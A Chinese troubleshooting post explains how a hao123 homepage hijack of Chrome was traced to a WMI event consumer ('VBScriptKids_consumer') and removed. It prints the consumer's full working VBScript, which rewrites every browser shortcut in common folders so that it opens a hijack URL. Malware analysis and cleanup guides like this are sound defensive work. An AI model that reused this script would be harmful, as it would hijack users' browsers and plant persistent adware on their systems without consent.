解决hao123胁持chrome主页问题

现象:打开chrome,弹出的不是熟悉的Google主页,而是hao123。

排查:首先检查了一下chrome的主页设置,发现没有问题,依然是原来的google.com。然后到chrome的安装目录,直接双击打开chrome程序,没有问题。接着检查快捷方式,右键Google Chrome->属性,在弹出的快捷方式的属性窗口。发现快捷方式的目标链接已经被修改,多加了一个启动参数:

"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" http://hao.169x.cn/?v=108

而这个网址,打开之后就会重定向到hao123.com。
这里写图片描述

主页被胁持的原因是系统里所有跟chrome有关的快捷方式都被修改,加了一个启动参数导致每次被启动时候都会跳转到这个网址。除了任务栏快捷方式之外,开始菜单中跟chrome有关的所有快捷方式都无一幸免。

解决方法:首先打开WMI Event Viewer,点击左上角工具栏中的Register for Events按钮,默认就会连接到root\CIMV2,直接点确定即可。
这里写图片描述
在CIMV2下,也许可以找到可疑项,类似EventConsumer.Name=”VBScriptKids_consumer”,如果没有,可以排查root\下的其他项。
这里写图片描述
在右边窗口选中后点击属性按钮,弹出属性页面:
这里写图片描述
就会发现chrome快捷方式被修改的元凶 — ScriptText:

On Error Resume Next
Const link = "http://hao.169x.cn/?v=108"
Const link360 = "http://hao.169x.cn/?v=108&s=3"
browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe"

lnkpaths = "C:\Users\Public\Desktop,C:\ProgramData\Microsoft\Windows\Start Menu\Programs,C:\Users\chenxh\Desktop,C:\Users\chenxh\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch,C:\Users\chenxh\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu,C:\Users\chenxh\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar,C:\Users\chenxh\AppData\Roaming\Microsoft\Windows\Start Menu\Programs"

browsersArr = split(browsers,",")
Set oDic = CreateObject("scripting.dictionary")

For Each browser In browsersArr
  oDic.Add LCase(browser), browser
Next
  lnkpathsArr = split(lnkpaths,",")

  Set oFolders = CreateObject("scripting.dictionary")
  For Each lnkpath In lnkpathsArr
    oFolders.Add lnkpath, lnkpath
  Next
    Set fso = CreateObject("Scripting.Filesystemobject")
    Set WshShell = CreateObject("Wscript.Shell")
    For Each oFolder In oFolders
      If fso.FolderExists(oFolder) Then
        For Each file In fso.GetFolder(oFolder).Files
          If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then
            Set oShellLink = WshShell.CreateShortcut(file.Path)
            path = oShellLink.TargetPath
            name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path)
            If oDic.Exists(LCase(name)) Then
              If LCase(name) = LCase("360se.exe") Then
                oShellLink.Arguments = link360
              Else
                oShellLink.Arguments = link
              End If
              If file.Attributes And 1 Then
                file.Attributes = file.Attributes - 1
              End If
              oShellLink.Save
            End If
          End If
       Next
      End If
    Next

可以看到,这段脚本就是遍历所有快捷方式目录(linkpaths)下的所有浏览器(browsers)的快捷方式,然后重新给快捷方式加上启动参数。

以管理员方式运行WMI之后直接删除VBScriptKids_consumer就ok了,当然不要忘记清除所有快捷方式后的启动参数。

参考:http://xinghao.me/2016/03/01/2016-03-01-kill-hao123/